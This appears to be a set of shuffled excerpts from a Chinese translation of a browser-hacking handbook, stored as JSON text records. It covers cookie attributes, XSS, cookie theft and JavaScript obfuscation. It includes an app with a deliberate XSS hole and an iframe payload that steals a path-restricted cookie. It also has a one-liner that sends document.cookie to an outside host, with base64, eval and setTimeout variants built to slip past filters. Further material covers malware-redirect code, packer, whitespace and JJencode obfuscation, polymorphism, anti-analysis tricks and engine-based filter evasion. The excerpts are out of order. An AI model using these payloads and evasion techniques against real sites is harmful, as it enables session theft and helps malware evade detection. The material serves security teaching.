cookiejar -v http://browserhacker.com 执行以上代码后，cookie将被保存在cookiejar文件中，以备将来的请求使用。"},
    {"text": "1. 理解失效时间属性 失效时间对应的属性是 Expires ，它帮助浏览器决定保存cookie的时间。 cookie的生命周期可以长至浏览器多次重启都有效，也可以短至只要浏览器一关闭就结束。 不设置 Expires 属性就可以实现不在磁盘上保存cookie，而一旦浏览器关闭就销毁cookie数据。"},
    {"text": "对追踪用户而言，会话cookie是理想的选择。 如果应用想在用户每次返回应用时都区分识别他们，那么持久cookie更合适。 持久cookie会设置一下未来的删除cookie的时间。"},
    {"text": "修改后的代码如下： class CookieDemo < Sinatra::Base get \"/\" do response.set_cookie \"session_cookie\", {:value => 'yes', :domain => 'browserhacker.com', :path => '/' } response.set_cookie \"persistent_cookie\", {:value => 'yes', :domain => 'browserhacker.com', :path => '/', :expires => Time.now + (60 * 60 * 7) } \"\\n\" + request.cookies.to_json + \"\\n\\n\" end end 重新加载页面，再次在Firebug控制台中执行 document.cookie ，就会看到响应中包含的cookie了，如图6-13所示。"},
    {"text": "理想的情况是使用两个cookie：一个会话cookie跟踪用户对所有browserhacker.com域的访问，另一个会话cookie跟踪在browserhacker. com中认证后的用户，将其限制于只能访问/checkout路径。"},
    {"text": "以下代码在根路径上存在XSS漏洞，即没有恰当处理 test 参数： require 'rubygems' require 'thin' require 'rack' require 'sinatra' require 'json' class CookieDemo < Sinatra::Base get \"/\" do response.set_cookie \"parent_cookie\", {:value => 'yes', :domain => 'browserhacker.com', :path => '/' } \"Test parameter: \" + params['test'] end get \"/checkout\" do response.set_cookie \"checkout_cookie\", {:value => 'RESTRAINED TO THIS PATH', :domain => 'browserhacker.com', :path => '/checkout' } end end @routes = { \"/\" => CookieDemo.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 假设/checkout路径没有任何XSS漏洞，因此无法通过这个路径盗取checkout_cookie。"},
    {"text": "以下JavaScript代码会创建相应的内嵌框架并窃取该cookie： iframe=document.createElement('iframe'); iframe.src='http://browserhacker.com:4000/checkout'; iframe.onload=function(){ alert(iframe.contentWindow.document.cookie); }; document.body.appendChild(iframe); 将这些代码打包在一起，就变成了如下形式，这些代码会在IFrame完全加载后执行： /?test=hi<script>iframe=document.createElement('iframe')%3b iframe.src='http://browserhacker.com:4000/checkout'%3biframe .onload=function(){alert(iframe.contentWindow.document.cookie )}%3bdocument.body.appendChild(iframe)</script> 执行这段JavaScript的结果如图6-15所示。"},
    {"text": "图 6-15 窃取到根路径下的限制cookie 这个例子展示了用于保护cookie的 Path 属性的不足之处，特别是在XSS或其他Web应用缺陷存在的情况下，这种不足就更危险了。"},
    {"text": "6.2.4 cookie存储区溢出 大多数网站都默认在设置了cookie后，还会以相同的状态取得它。 网站设置cookie后，cookie会被保存在存储区（也就是浏览器用于保存站点信息的本地数据库）。"},
    {"text": "下面就来看一个例子： 12 Alex Kouzemtchenko. (2008). Racing to downgrade users to cookie-less authentication . Retrieved December 1, 2013 from http://kuza55.blogspot.co.uk/2008/02/racing-to-downgrade-users-to-cookie.html 13 Chris Evans. (2008). Cookie forcing . Retrieved December 1, 2013 from http://scarybeastsecurity.blogspot.co.uk/2008/11/cookie-forcing.html 14 John Wilander. (2012). Advanced CSRF and Stateless Anti-CSRF . Retrieved August 12, 2013 from http://www.slideshare.net/johnwilander/advanced-csrf-and-stateless-anticsrf require 'rubygems' require 'thin' require 'rack' require 'sinatra' require 'json' class CookieDemo < Sinatra::Base get \"/\" do link_url = \"http://www.google.com\" if !request.cookies['link_url'] then response.set_cookie \"link_url\", {:value => link_url, :httponly => true} else link_url = request.cookies['link_url'] end '<A HREF=\"' + link_url + '\">Secret Login Page</A> <script> function setCookie() { document.cookie = \"link_url=http://blog.browserhacker.com\"; alert(\"Single cookie sent\"); } function setCookies() { var i = 0; while (i < 200) { kname = \"test_COOKIE\" + i; document.cookie = kname + \"=test\"; i = i + 1; } document.cookie = \"link_url=http://browserhacker.com\"; alert(\"Overflow Executed\"); } </script> <BR> <input type=button value=\"Attempt Change\" onclick=\"setCookie()\"><BR> <input type=button value=\"Spam Cookies\" onclick=\"setCookies()\"> ' end end @routes = { \"/\" => CookieDemo.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 在这个例子中，浏览器加载页面时会设置link_url cookie。"},
    {"text": "图 6-17 显示了警告框，但链接并没有变 但是，如图6-18所示，点击了Spam Cookies按钮然后再刷新页面，会发现链接指向了http://browserhacker.com。"},
    {"text": "图 6-18 cookie存储区溢出后的链接 这个例子演示了怎么基于一个不安全的应用，以cookie为目标，通过JavaScript来控制浏览器与网页和目标的交互。 这个例子在Firefox中是可以运行的，但随着浏览器不断更新，还应该通过试验来确定到底多少cookie可以导致存储区溢出。"},
    {"text": "可以将创建cookie的代码替换成如下所示的代码： var exp = new Date(new Date().getTime() + daysInMilliseconds(5)).toGMTString(); document.cookie=\" link_url=http://browserhacker.com;expires=\" + exp; 这样，cookie就会为这个窗口持续保存5天，从而为你多次尝试提供了足够的时间。"},
    {"text": "15 Samy Kamkar. (2013). samyk/evercookie . Retrieved August 12, 2013 from https://github.com/samyk/evercookie 6.2.6 Sidejacking攻击 Sidejacking攻击，或者HTTP会话劫持，是通过盗取别人的会话模仿别人的一种方法。"},
    {"text": "盗取会话攻击的原理是通过复制某个用户在一个站点上的会话cookie，可以伪装成一个合法的用户。 把会话cookie复制到你的浏览器之后，相应的站点就会相信你是目标，允许你像原来的用户一样访问他们的账号。"},
    {"text": "16 Eric Butler. (2012). Firesheep . Retrieved August 12, 2013 from http://codebutler.github.io/firesheep/ Firesheep是Eric Butler写的一个Firefox插件，可以通过开放的无线网络监听会话，然后再将监听到的会话信息转发给你。"},
    {"text": "Unknown 6.7 小结 本章介绍了各种指纹采集、攻击，以及利用浏览器的技术。从检测浏览器的类型、平台和语言，到窃取会话cookie，浏览器都是最主要的目标。 缩小操作系统、浏览器版本号以及其他细节的范围，有助于针对特定的浏览器和功能实施攻击。采集到浏览器的指纹后，才能胸有成竹地采取下一步操作。 这一章，我们了解了人们对通过JavaScript加密来保护数据还缺少基本的信任。基于常见的安全问题，探索了一些绕开公开实现的技术。利用这些可以移植的方法，可以在其他JavaScript加密实现中进一步发现类似的问题。 我们还讨论了浏览器通过cookie实现的保护性机制，甚至还用了一点时间介绍了内存管理利用这个领域。由此可知，浏览器攻击的范围确实很广。 掌握了本章的技术之后，应该可以跨平台、跨工具，以及在多种攻击场景下，利用浏览器获得数据，当然还有shell的访问权。不过，你能做到的还不止这些。下一章就会探讨如何攻击曾经风靡一时的浏览器扩展，那将是一个完全不同的领域。"},
    {"text": "把这个过程转换成伪代码，如下所示： loop develop_evasion() use_it_in_the_wild() sleep 10 defenders_become_aware() sleep 20 defenders_implement_detection() end 别忘了，检测技术要广泛应用的话，可能需要很长时间。"},
    {"text": "如果你想盗取一个Web应用的cookie，且该cookie没有被标记为HttpOnly，那可以执行这行代码： location.href='http://browserhacker.com?c='+document.cookie 这行代码会把cookie发给你的网站。"},
    {"text": "为了隐藏 document.cookie ，可以使用base64对其编码，这样攻击方式就变成了： eval(atob(\"bG9jYXRpb24uaHJlZj0naHR0cDovL2F0dGF\"+ \"ja2VyLmNvbT9jPScrZG9jdW1lbnQuY29va2ll\")); 但基于正则表达式的过滤器还是会阻止它，因为关键字 eval 还在黑名单中。"},
    {"text": "不过，访问 window 对象的方法有很多种，通过它们可以使用不同的语句来实现 eval 的行为，比如： [].constructor.constructor(\"code\")(); 另一种方法是使用 setTimeout() 或 setInterval() 函数（在较新的浏览器中甚至可以使用 setImmediate() ），它们都可以对JavaScript函数求值。"},
    {"text": "使用 setTimeout() 时，最终代码会变成这样： setTimeout(atob(\"bG9jYXRpb24uaHJlZj0naHR0cDovL2Jyb3\"+ \"dzZXJoYWNrZXIuY29tP2M9Jytkb2N1bWVudC5jb29raWU\")); 这段代码绕过了前面提到的基于正则表达式的过滤器，也演示了将多种躲避技术结合起来使用的方法。"},
    {"text": "以下面的代码段为例（后面还会介绍）： var malware = { version: '0.0.1-alpha', exploits: new Array(\"http://malicious.com/aa.js\",\"\"), persistent: true }; window.malware = malware; function redirect_to_site(){ window.location = window.malware.exploits[0]; }; redirect_to_site(); 使用Dean Edwards的打包程序 17 打包这段代码后，结果如下所示： eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)}; if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c); k=[function(e){return r[e]}];e=function(){return'\\\\w+'}; c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+ '\\\\b','g'),k[c]);return p}('b 2={7:\\'0.0.1-i\\',4:8 9( \"a://6.c/d.e\",\"\"),f:g};3.2=2;h 5(){3.j=3.2.4[0]};5();', 20,20,'||malware|window|exploits|redirect_to_site|malicious |version|new|Array|http|var|com|aa|js|persistent|true| function|alpha|location'.split('|'),0,{})) 如你所见，函数和变量名，像 malware 、 window 和 exploits ，在代码最后仍然存在。 而使用了随机变量和方法名的技术后，同样的代码会变成这样： eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)}; if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c); k=[function(e){return r[e]}];e=function(){return'\\\\w+'};c=1}; while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+ '\\\\b','g'),k[c]);return p}('h 1={a:\\'f\\',3:6 7( \"8://9.5/b.c\",\"\"),d:e};2.1=1;g 4(){2.i=2.1.3[0]}; 4();',19,19,'|uxGfLVC|window|egCSx|HrhB|com|new| Array|http|malicious|sXCrv|aa|js|LctUZLQnJ_gp| true|ZEpXkhxSMz|function|var|location'.split('|'),0,{})) 这两段打包后的代码明显不一样。"},
    {"text": "17 Dean Edwards. (2010). Packer . Retrieved March 8, 2013 from http://dean.edwards.name/packer/ 2. 空白符编码 Kolisar在DEFCON 16上展示了一种很巧妙的编码技术，叫作 空白符编码 （WhiteSpace encoding） 18 。"},
    {"text": "18 Kolisar. (2008). WhiteSpace: A Different Approach to JavaScript Obfuscation . Retrieved March 8, 2013 from http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-kolisar.pdf 可以使用下面的示例Ruby实现生成编码的JavaScript，然后再在攻击中使用： def whitespace_encode(input) output = input.unpack('B*') output = output.to_s.gsub(/[\\[\"01\\]]/, \\ '[' => '', '\"' => '', ']' => '', '0' => \"\\t\", '1' => ' ') end encoded = whitespace_encode(\"alert(1)\") File.open(\"whitespace_out.js\", 'w'){|f| f.write(encoded)} 试一下就知道，传入 whitespace_encode() 函数的内容会被转换成二进制表示，然后0再被映射为Tab，1再被映射为Space。"},
    {"text": "下面的JavaScript实现包含了保存有前面编码结果的变量 whitespace_encoded ： // 如果从这里复制粘贴代码，Tab可能无效 // 确保你是在尝试browserhacker.com的代码片段 var whitespace_encoded = \" \"; function decode_whitespace(css_space) { var spacer = ''; for(y = 0; y < css_space.length/8; y++){ v = 0; for(x = 0; x < 8; x++){ if(css_space.charCodeAt(x+(y*8)) > 9){ v++; } if(x != 7){ v = v << 1; } } spacer += String.fromCharCode(v); }return spacer; } var decoded = decode_whitespace(whitespace_encoded) console.log(decoded.toString()); window.setTimeout(decoded); 这个 decode_whitespace 函数用于解码 whitespace_encoded 变量的内容，其中包含使用前面的Ruby脚本生成的空白符。"},
    {"text": "最后，再使用 setTimeout 对解码后指令的字符串表示求值，最后执行代码。 如图3-15所示，解码后的源代码（ alert(1) ）在 setTimeout() 调用中被求值了。"},
    {"text": "19 Peter Ferrie, (2011). Malware Analysis . Retrieved March 8, 2013 from http://pferrie.host22.com/papers/jjencode.pdf 20 Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, and David Lindsay. (2011). Web Application Obfuscation . Retrieved March 8, 2013 from http://www.amazon.co.uk/Web-Application-Obfuscation-WAFs-Evasion-Filtersalert/dp/1597496049 非数字字母JavaScript极度依赖JavaScript中的特定类型转换功能，这种转换功能在Java或C++等强类型语言中是不存在的。"},
    {"text": "首先，在JavaScript中，可以通过在变量后面拼接一个空字符串，将其转换成字符串表示： 1+\"\" //返回\"1\" 其次，只使用符号就有很多种方式可以返回布尔值。"},
    {"text": "例如，可以使用空数组、空对象和空字符串： ![] //返回false !{} //返回false !\"\" //返回true 基于这些行为，很容易构建字符串。 比如，要构建一个字符串 \"false\" ，可以使用以下代码： ([![]]+[]) 首先是一个空数组 [] ，使用 ! 对其求反，得到布尔值 false 。"},
    {"text": "下面是一个很老的例子，可以在Firefox中使用： alert((1,[].sort)()) 下面是一个改写后的例子，在Chrome中可以使用： alert((0,[].concat)()) 前面两个例子使用 sort 和 concat 函数返回 window ，因为它们不知道引用的是哪个数组。"},
    {"text": "前面我们也讨论了对字符串求值的方法，但最简单的方法还是使用 constructor ： [].constructor.constructor(\"alert(1)\")() 从一个数组对象访问两次 constructor ，就可以得到 Function 。 之后，就可以传入任意字符串以求值了，比如传入 \"alert(1)\" 。"},
    {"text": "下面是使用JJencode编码 alert(1) 得到的结果： 21 Yosuke Hasegawa. (2009). JJEncode . Retrieved March 8, 2013 from http://utf-8.jp/public/jjencode.html 22 Yosuke Hasegawa. (2009). AAEncode . Retrieved March 8, 2013 from http://utf-8.jp/public/aaencode.html $=~[];$={___:++$,$$$$:(![]+\"\")[$],__$:++$,$_$_:(![]+\"\")[$], _$_:++$,$_$$:({}+\"\")[$],$$_$:($[$]+\"\")[$],_$$:++$,$$$_:(!\"\"+\"\")[$], $__:++$,$_$:++$,$$__:({}+\"\")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$}; $.$_=($.$_=$+\"\")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+\"\")[$.__$])+ ((!$)+\"\")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!\"\"+\"\")[$.__$])+($._=(!\"\"+ \"\")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!\"\"+\"\")[$._$$]+$.__+ $._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+\"\\\"\"+$.$_$_+(![]+ \"\")[$._$_]+$.$$$_+\"\\\\\"+$.__$+$.$$_+$._$_+$.__+\"(\"+$.__$+\"\\\\\"+$.$__+ $.___+\")\"+\"\\\"\")())(); 显然，编码短短的 alert(1) 就需要那么多字符。"},
    {"text": "Yosuke最初关于JJencode的思路激起了安全行业的兴趣，导致了这个领域的更多研究，而最后Robert Hansen还在slackers.org上办起了Diminutive NoAlNum JS Contest 23 。"},
    {"text": "23 sla.ckers.org. (2009). Diminutive NoAlNum JS Contest . Retrieved March 8, 2013 from http://sla.ckers.org/forum/read.php?24,28687 3.4.2 使用模糊躲避 前几节介绍了编码的原理，以及怎么通过它们隐藏JavaScript代码。 模糊作为另一种隐藏JavaScript代码的方法，在与编码共同使用时，能够更加有效地绕过网络过滤器。"},
    {"text": "24 Fraser Howard. (2012). Exploring the Blackhole exploit kit . Retrieved March 8, 2013 from http://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit-10/ 1. 随机变量和方法 如果你是一名开发人员，就应该知道编写清晰和可维护的代码始终是最优考虑的事情。"},
    {"text": "然后将 malware 对象附加到 window 对象，再调用 redirect_to_site() 函数，该函数会把浏览器重定向到前面 exploits 数组中的第一个URL： var malware = { version: '0.0.1-alpha', exploits: new Array(\"http://malicious.com/aa.js\",\"\"), persistent: true }; window.malware = malware; function redirect_to_site(){ window.location = window.malware.exploits[0]; }; redirect_to_site(); 现在假设有一个网络过滤器，正在使用基于正则表达式的规则搜索网络流量，检测其中的 malware 代码、 version 号和 redirect_to_malware() 及其他函数名。"},
    {"text": "25 Graham Cluley. (2012). Server-side polymorphism: How mutating web malware tries to defeat anti-virus software . Retrieved March 8, 2013 from http://nakedsecurity.sophos.com/2012/07/31/server-side-polymor-phism-malware/ 实现基本的服务器端代码多态化并不困难。"},
    {"text": "下面这个简单的例子演示了针对每个勾连的浏览器使用散列数据结构（如果你想实现每个会话多态化），分别保存原始值和随机值以备将来引用。"},
    {"text": "code = <<EOF var malware = { version: '0.0.1-alpha', exploits: new Array(\"http://malicious.com/aa.js\",\"\"), persistent: true }; window.malware = malware; function redirect_to_site(){ window.location = window.malware.exploits[0]; }; redirect_to_site(); EOF def rnd(length=5) chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ_' result = '' length.times { result << chars[rand(chars.size)] } result end lookup = { \"malware\" => rnd(7), \"exploits\" => rnd(), \"version\" => rnd(), \"persistent\" => rnd(12), \"0.0.1-alpha\" => rnd(10), \"redirect_to_site\" => rnd(4) } lookup.each do |key,value| code = code.gsub!(key, value) end File.open(\"result.js\", 'w'){|f|f.write(code)} 每次调用前面的代码（比如勾连一个新浏览器）， result.js 中的JavaScript代码都会不同。 例如： var uxGfLVC = { sXCrv: 'ZEpXkhxSMz', egCSx: new Array(\"http://malicious.com/aa.js\",\"\"), LctUZLQnJ_gp: true }; window.uxGfLVC = uxGfLVC; function HrhB(){ window.location = window.uxGfLVC.egCSx[0]; }; HrhB(); 随机变量和函数名不考虑作用域。"},
    {"text": "假设前面的代码中包含了另一个叫 execute() 的函数，而 redirect_to_site() 接收了一个输入参数： function execute(cmd){ eval(cmd); }; function redirect_to_site(input){ if(input) window.location = window.malware.exploits[0]; }; redirect_to_site(input); 模糊这个示例并考虑作用域会得到如下代码。"},
    {"text": "function gSYYtNBjNFbZ(napSj){ eval(napSj); }; function HrhB(napSj){ if(napSj) window.location = window.uxGfLVC.egCSx[0]; }; HrhB(napSj); 2. 混合对象表示法 如果要看很多JavaScript代码，我们通常习惯于用点访问属性，而不习惯于用方括号 26 。"},
    {"text": "26 Mozilla. (2010). Property Accessors . Retrieved March 8, 2013 from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Member_Operators 前面的代码使用的是点表示法。"},
    {"text": "比如，先调用 window 对象，然后是 malware 对象，最后是 malware 对象的属性： window.malware.exploits[0]; 同样的代码可以用方括号表示法写成这样： window['malware']['exploits'][0]; 混合两种表示法同样可以写出功能一样的代码： window.malware['exploits'][0]; 扩展一下，可以对前面的例子组合使用这些技术，包括base64编码，得到如下结果： var uxGfLVC = { sXCrv: 'ZEpXkhxSMz', egCSx: new Array(\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\"+ \"\\x6D\\x61\\x6C\\x69\\x63\\x69\\x6F\"+ atob(\"dXMuY35f34fgdkFhLmpz\"['replace']( /35f34fgdk/,'29tL2')),\"\"), LctUZLQnJ_gp: true }; window['uxGfLVC'] = uxGfLVC; function HrhB(){ window['lo'+'ca'+'ution'['replace']( /ution/,'tion')] = window.uxGfLVC['egC'+ 'Sx'][0]; }; HrhB(); 很明显（或者并不明显），混合使用点和方括号表示法，代码变得不可读了。"},
    {"text": "在前面例子的代码中，访问对象的方法和属性也采用了同样的语法，而且使用了没有意义的变量名，你可能会认为方括号是用来从数据结构中取得值的。"},
    {"text": "下面看一个例子： var timeout = 10000; var interval = new Date().getSeconds(); function timer(){ var s_interval = new Date().getSeconds(); var diff = s_interval - interval; if(diff == 10 && diff > 0) key = diff + \"aaa\" if(diff == -10 && diff < 0) key = diff + \"bbb\" decrypt(key); } function decrypt(key){ // 加密程序 alert(key); } setTimeout(\"timer()\", timeout); timer() 函数会在10秒钟的延迟后被调用。"},
    {"text": "以下代码调用了 decrypt() 函数，将两个 String 对象（来自DOM）拼接起来的一个字符串作为参数： <body> <div id=\"hidden_div\"> <p>key</p> </div> </body> 第二个字符串来自页面的URI——http://browserhacker.com/mixed-content/dom.html#YTJWNU1pMWpiMjUwWlc1MA==： function decrypt(key){ // 加密程序 alert(key); } var key = document.getElementById('hidden_div').innerHTML; var key2 = location.href.split(\"#\")[1]; decrypt(key + key2); 如果人类分析师只针对这段脚本本身进行反模糊，那么结果就不会特别好。"},
    {"text": "如果检查失败，函数的部分代码将不会执行。 如果有人在手工对这些代码求值，修改了它，那么检查就可能会失败。 这种情况在手工审查模糊代码时经常出现。"},
    {"text": "例如，嵌套的 eval() 调用可能会被替换成 console.log() 之类的辅助函数，或其他自定义的打印输出函数，以便在实际求值函数之前更好地理解代码。"},
    {"text": "如果在一个依赖 arguments.callee 检查自身长度的模糊函数内使用这种手段，那么示例中包含恶意代码的部分可能永远也不会执行。 如果手工分析过程中修改了这种模糊代码，而对代码长度的检查并没有变化，那么恶意代码就不会运行了。"},
    {"text": "为了更好地理解上述过程，可以看一看下面这段Ruby代码的实现： placeholder = \"XXXXXX\" code = <<EOF function boot(){ var key = arguments.callee.toString().replace(/\\\\W/g,\"\"); console.log(key.length); if(key.length == #{placeholder}){ console.log(\"verification OK\"); //...这里是恶意代码 }else{ console.log(\"verification FAIL\"); //...这里是死代码} } EOF code_length = code.gsub(/\\W/,\"\").length # XXXXXX -> 6 chars digits = code_length.to_s.length # returns the number of integer digits if(digits >= placeholder.length) to_add = digits - placeholder.length final_code = code.gsub(placeholder , (code_length + to_add).to_s) else to_remove = placeholder.length - digits final_code = code.gsub(placeholder , (code_length - to_remove).to_s) end File.open(\"result.js\", 'w'){|f|f.write(final_code)} 得到的JavaScript将被写入result.js，内容如下所示： function boot(){ var key = arguments.callee.toString().replace(/\\W/g,\"\"); console.log(key.length); if(key.length == 166){ console.log(\"verification OK\"); //...这里是恶意代码 }else{ console.log(\"verification FAIL\"); //...这里是死代码 } } 为方便说明起见，这里的代码并没有模糊，而且通过Ruby脚本计算的 166 整数也没有，但这两方面通过使用前面介绍的技术都很容易模糊掉。"},
    {"text": "比如，在经过前面Ruby代码处理后，你可以用以下代码代替 166 ： document.getElementById('hidden_div').innerHTML + atob(location.href.split(\"#\")[1]) document.getElementByID() 函数会从当前文档中取得ID为 hidden_div 的元素，结果返回 160 。"},
    {"text": "6. 使用JavaScript引擎的奇怪特性躲避 如果你知道自己的目标使用的是什么渲染引擎，就可以调整自己的模糊技术，通过利用不同渲染引擎间的JavaScript差异，增大反模糊的难度。"},
    {"text": "比如，Trident（IE的引擎）在对下面的代码求值时返回 true ，而Gecko和WebKit则返回 false ： '\\v'=='v' 另一种识别IE的类似方法是使用条件注释，因为条件注释只在IE中有效。"},
    {"text": "下面再看一个简单的例子，这里的布尔取反操作符 ! ，只有在通过 @cc_on 启用条件注释的情况下才起作用： is_ie=/*@cc_on!@*/false; 如果是IE在对这行代码求值，就会将其解释为 !false ，从而让变量 is_ie 的值为 true 。 而在其他浏览器中，由于会把布尔取反操作符看成代码注释，所以变量 is_ie 的值都将为 false 。"},
    {"text": "那么过滤引擎（SpiderMonkey）在对如下代码求值时总会进入 else 块： if('\\v'=='v'){ ... // 针对IE的恶意代码 }else{ ... // 针对非IE浏览器的非恶意代码 } 过滤引擎解析代码后会进入 else 语句块，确定其不包含恶意代码。"},
    {"text": "正是你，带着它穿过那些旨在保护你的网络安全的重重关卡，并执行那些只有你的最高权限才能控制的指令，一切都以渲染网页为名，把根本就不了解甚至不能信任的内容呈现于屏幕之上。"},
    {"text": "3 Wikipedia. (2013). Client-server model . Retrieved December 12, 2013 from http://en.wikipedia.org/wiki/Client-server_model 4 Wikipedia. (2013). Request-response . Retrieved December 12, 2013 from http://en.wikipedia.org/wiki/Request-response 服务器和客户端必须相互依赖，才能发挥自己最大的潜能。"},
    {"text": "1.2.3 HTTP首部 可以把HTTP首部想象成写在信封上的地址和其他相关说明，它们描述的是它们封装的包应该发往何处，以及接收方该如何处理包中的内容。"},
    {"text": "HTTP首部是HTTP协议定义的原初指令，用于指示接收方怎么处理其后的内容。 Web客户端要在所有请求的开头提供HTTP首部，而Web服务器也要在任何响应的开头附上HTTP首部。 首部内容决定了接收方（可能是服务器，也可能是浏览器）如何处理被发送的内容。"},
    {"text": "不用说大家也知道，Web浏览器使用的标记语言是HTML。 1. HTML HTML，即HyperText Markup Language（超文本标记语言），是一种常用的编程语言，主要用于告诉浏览器如何显示网页。 HTML源于SGML（Standard Generalized Markup Language，标准通用标记语言），经过多年发展，已经有了非常大的变化。"},
    {"text": "1.2.6 脚本 Web脚本语言是一门值得学习的艺术。 如果你想搞Web技术，那迟早要掌握脚本语言。 总体来说，脚本编程是在浏览器中实现Web开发必备的技能。"},
    {"text": "使用JavaScript编写的攻击脚本，也是可以跨浏览器运行的（但不排除会受个别浏览器奇怪特性的影响）。 不管怎么说，JavaScript都是探查浏览器漏洞必备的语言。"},
    {"text": "1.2.7 DOM DOM，即document object model（文档对象模型），是浏览器中的一个基础性概念。 DOM是在浏览器中操作HTML或XML文档的API，使用脚本语言可以通过DOM提供的对象操作HTML元素。 DOM是为JavaScript这样的脚本语言而定义的。 DOM规范定义了通过脚本操作实时文档的方法，即浏览器中运行的脚本可以动态读取或修改网页内容。"},
    {"text": "6 Wikipedia. (2013). Web browser engine . Retrieved December 15, 2013 from http://en.wikipedia.org/wiki/Layout_engine 渲染引擎是浏览器的核心组件，负责把数据转换为用户在屏幕上可以看到的样式。"},
    {"text": "说到图形，实际上也有只解析文本的渲染引擎，比如Lynx和W3M。 Web上的渲染引擎有很多种 7 。 本书涉及的图形渲染引擎包括WebKit、Blink、Trident和Gecko。"},
    {"text": "7 Wikipedia. (2013). List of layout engines . Retrieved December 15, 2013 from http://en.wikipedia.org/wiki/List_of_web_browser_engines 1. WebKit WebKit是最受欢迎的渲染引擎，很多浏览器都在用。"},
    {"text": "8 Wikipedia. (2013). WebKit . Retrieved December 15, 2013 from http://en.wikipedia.org/wiki/WebKit WebKit是一个开源项目，它的目标是成为通用的软件应用程序交互与展示引擎 9 。"},
    {"text": "9 WebKit Open Source Project. (2013). The WebKit Open Source Project - WebKit Project Goals . Retrieved December 15, 2013 from http://www.webkit.org/projects/goals.html 2. Trident Trident是微软开发的渲染引擎，也叫MSHTML。"},
    {"text": "3. Gecko Firefox是使用Gecko开源渲染引擎的最主要的软件。 Gecko应该是排在WebKit和Trident之后位居第三的渲染引擎。 Gecko是网景公司20世纪90年代为其浏览器Netscape Navigator开发的一个渲染引擎。 目前，Gecko主要用在Mozilla基金会和Mozilla公司开发的一些应用中，最主要的就是Firefox浏览器。"},
    {"text": "10 Bruce Lawson. (2013). 300 million users and move to WebKit . Retrieved December 15, 2013 from http://my.opera.com/ODIN/blog/300-million-users-and-move-to-webkit 一个主流浏览器如此巨大地切换路线，应该说是前所未有的。"},
    {"text": "在浏览器JavaScript控制台中运行以下命令，就可以在当前标签页的会话存储中保存一个 \"BHH\" 值： sessionStorage.setItem(\"BHH\", \"http://browserhacker.com\"); sessionStorage.getItem(\"BHH\"); 同源策略也适用于本地存储，而且每个来源都会分开。"},
    {"text": "11 Doug DePerry. (2012). HTML5 Security. The Modern Web Browser Perspective . Retrieved December 15, 2013 from https://www.isecpartners.com/media/18610/html5modernwebbrowserperspectivefinal.pdf 1.2.11 跨域资源共享 跨域资源共享 ，即CORS（cross-origin resource sharing），是一个让来源忽略同源策略的规范。"},
    {"text": "CORS的一项核心内容就是给Web服务器的HTTP响应首部增加了以下字段： Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET 如果浏览器向某服务器发送了跨域 XMLHttpRequest 请求，而该服务器的响应首部并不包含以上字段，则这个跨域请求就会失败，即不能访问该服务器响应的内容。"},
    {"text": "12 Alex Russell. (2006). Comet: Low Latency Data for the Browser . Retrieved March 8, 2013 from http://infrequently.org/2006/03/comet-low-latency-data-for-the-browser/ 2. Web Worker Web Worker之前的JavaScript代码都是单线程执行的。"},
    {"text": "4. WebRTC WebRTC，即Web Real-Time Communication（Web实时通信），是HTML5运用JavaScript能力的一个进步。 使用WebRTC可以实现浏览器之间的互相通信，而且延迟很低，但要实现富媒体的实时交互，必须有高带宽支持。"},
    {"text": "但浏览器安全这个话题，一本书很难面面俱到，甚至一书架书恐怕都难以穷尽! 如果有读者对利用编译后代码中的隐患感兴趣，可以找一本《黑客攻防技术宝典：系统实战篇（第2版）》看看。"},
    {"text": "Unknown 中文版推荐序 浏览器作为用户访问互联网的入口，其安全性至关重要。用户在浏览器中的任何一次不经意的点击，都可以成为噩梦的开始。攻击者利用浏览器的一些漏洞，仅需要用户点击一个链接：轻者可以窃取用户的cookie及身份信息，获得用户浏览记录等隐私；重者则导致用户电脑上的文件被窃取、篡改，甚至用户电脑会被安装后门，最终沦为攻击者的“囊中之物”。浏览器承载着万物互连和分享协作，因而保障浏览器的安全越来越重要。 今天，各家浏览器的发展如火如荼，特别是新的安全特性也层出不穷。比如，数据执行保护（DEP）、内存地址随机化（ASLR）、沙箱、隔离堆、延时释放、控制流防护（CFG）等，诸多安全特性的出现与应用折射出浏览器已然成为攻击者的目标。“道高一尺，魔高一丈”，新的安全特性必然会导致新的攻击方法的出现，只是攻击的难度和成本会越来越大，对攻击者技术的要求也越来越高。 